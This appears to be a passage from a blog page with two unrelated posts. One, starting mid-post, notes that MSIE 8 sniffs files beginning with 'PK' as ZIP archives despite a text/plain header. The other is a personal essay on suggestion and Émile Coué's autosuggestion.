GET /test/abc.txt HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/xaml+xml, application/x-ms-xbap, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: <snip>
Accept-Language: en-in
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; chromeframe; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: <snip>
Connection: Keep-Alive
<snip>

Everything fine with the request! I am using MSIE 8.0 and rest assured. Lets see what was the server reply:

Response:
HTTP/1.1 200 OK
Date: Fri, 08 Oct 2009 21:09:03 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_bwlimited/1.4
Last-Modified: Fri, 08 Oct 2009 10:22:33 GMT
<snip>
Accept-Ranges: bytes
Content-Length: <snip>
<snip>
Connection: Keep-Alive
Content-Type: text/plain

Even the response is fine with Content-Type: text/plain. When everything is fine, what’s wrong then? I checked the contents of abc.txt file and the whole picture was clear.
The text file starts as "PKCS". Any bulb or buzzer? Remember the magic bytes of a ZIP file? |50 4B 03 04| which means "PK.." though I absolutely couldn’t understand 2 points:
1. Why MSIE ‘thinks’ its a ZIP file when only PK (ASCII) is present and not the complete PK |03 04| or any hex-junk/chunk or non-display characters?
2. Why MSIE doesn’t consider the header fields (Content-Type: text/plain)

Summary: Any page which starts with PK (.txt/.html) will be thrown as ZIP file by MSIE. Any repercussions in near future? I hope nothing malicious! Long live MSIE.

Cheers,
CRLF

This is word we all use almost daily either giving suggestions to someone or taking it. We are so addicted to it we start giving suggestion whether the other person wants it or not. We find everyone is giving suggestion to other one like parents to their children, friend to other friend, Manager to team member, even you will get suggestion for toilet paper you use in your toilet so we are surrounded by suggestions, suggestions and only suggestions.

Now have we ever asked yourself what is suggestion? I have never been but few days before my 4 year old nephew was dancing on some bollywood number and I suggested bhabhi (Brother’s wife) to join him some dance classes. Out of curiosity, my nephew asked what does suggestion means. I explained him that it means to give someone a piece of advice which depends on the person to follow it or not (somehow I made him understand). Then he spoke a sentence ‘If someone suggest me to study, I will never do it’ which developed few questions in my mind like – Do we really want to take and give any suggestions or just do whatever we want to do? To answer all questions first we need to understand what is suggestion?

Suggestion is the name given to the psychological process by which one person may guide the thoughts, feelings or behavior of another. For nineteenth century writers on psychology such as William James the words suggest and suggestion were used in senses very close to those which they have in common speech, one idea was said to suggest another when it brought that other idea to mind.

Now the question is – Does this action really exist? According to the French druggist Emile Coue, a physician formulated the Laws of Suggestion, the answer for this question is properly “NO”. He said suggestion doesn’t indeed exist by itself. It doesn’t and can’t exist except condition of transforming itself into autosuggestion in the subject. This latter word may be defined as “the developing of an idea in oneself by oneself”. You may give suggestion to someone, if the unconscious of the person doesn’t accept the suggestion and not able to transform it into autosuggestion, then it produces no result. The reason is very simple that person refuses to accept and did not transform it into autosuggestion. Example if my friend wants to shop clothes and I suggested him to buy from lifestyle then if was also thinking in a same way (autosuggestion), he will accept my suggestion but if he was thinking to buy it from Van Heusen showroom then he will not accept it.

We can control and lead our imagination, only we need to know two things firstly that this is possible and secondly by what means it can be done. We are constantly giving autosuggestion to ourselves sometimes knowingly and sometimes not, so we just need to focus on this. If you persuade yourself to do certain thing, provided that thing is possible then you will do it however difficult it may be and if you imagine you can’t do simplest thing in world then believe me then its impossible for you to do it. So Autosuggestion is nothing just a hypnotism done by us on ourselves.

I must conclude it that giving and taking suggestion depends of other unconciousness whether he wants to listen the same, if not then he will not accept it.